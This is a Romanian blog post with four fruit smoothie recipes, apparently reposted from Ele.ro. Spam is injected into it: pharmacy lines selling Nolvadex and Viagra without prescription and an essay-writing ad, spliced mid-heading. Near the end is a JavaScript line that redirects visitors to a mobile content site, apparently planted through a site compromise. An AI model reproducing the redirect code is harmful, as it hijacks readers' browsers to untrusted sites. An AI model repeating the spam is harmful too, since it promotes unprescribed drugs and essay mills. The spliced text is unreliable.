Sanatate intr-un pahar !!

Uneori oricât de mult ți-ai dori, nu ai timp să prepari o masă consistentă, dar care să fie și sănătoasă. Alege în schimb un cocktail răcoritor cu fructe de sezon, plin de fibre, perfect fie drept gustare, fie ca un mic dejun rapid.

Mai ales sau macar in week-end putem sa ne rasfatam cu aceste bunatati .

Sanatate curata !!

Cocktail de căpșuni

 

Amestecă bine într-un blender o ceașcă cu suc de ananas, o ceașcă de iaurt degresat, o ceașcă de căpșuni și o banană decojită cât mai coaptă. Opțional, mai poți adăuga și câteva căpșuni tăiate cubulețe cât mai mici. Are doar 150 de calorii și este bogat în vitamina C, potasiu și vitamina A.

 

 

Cocktail cu cireșe Buy Nolvadex online | Safe & Secure, Buy Online Without Prescription, Buy Generic and Brand Meds Online For Full Customer Satisfaction.

Este alternativa la care apelează multe vedete de la Hollywood când nu au timp pentru un alt fel de mic dejun.

Combină 6 cuburi de gheață, o ceașcă de cireșe, 2 linguri de nectar de piersici, o banană coaptă și un vârf de cuțit de scorțișoară. Ține-le în blender pentru 10 secunde și vei avea un cocktail ce conține doar 250 de calorii, multe fibre și proteine.

The best paper writing services Cocktail cu avocado Jul 4, 2014 – Branded viagra В· Drukuj; Email. cheap Viagra lowest prices index. That it fidelity issues rankled the around on for April 21 2014 several mensВ 

Acest fruct este o sursă excelentă de complexul de vitamine B, care are capacitatea de a diminua stresul. Amestecă două cești de lapte degresat cu un avocado copt decojit, două linguri de miere de albine și câteva cuburi de gheață. Este bine să-l servești imediat după ce l-ai prepara, deoarece se oxidează repede.

 

Cocktail cu zmeură

Ești pe fugă și vrei o gustare rapidă? Încearcă acest cocktail din fructe delicoase! Are doar 200 de calorii, dar este o sursă importantă de calciu, fibre, fier și proteine. Într-un blender pune o ceașcă de zmeură, o jumătate de ceașcă de iaurt degresat, un sfert de ceașcă de suc de portocale, două linguri de miere de albine și opțional o banană bine coaptă. 5 secunde sunt suficiente pentru a obține o gustare sățioasă și hrănitoare.

 

Va doresc pofta buna !!

Sursa ,,Ele .ro “”

window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”;

Lasă un răspuns

Adresa ta de email nu va fi publicată. Câmpurile necesare sunt marcate *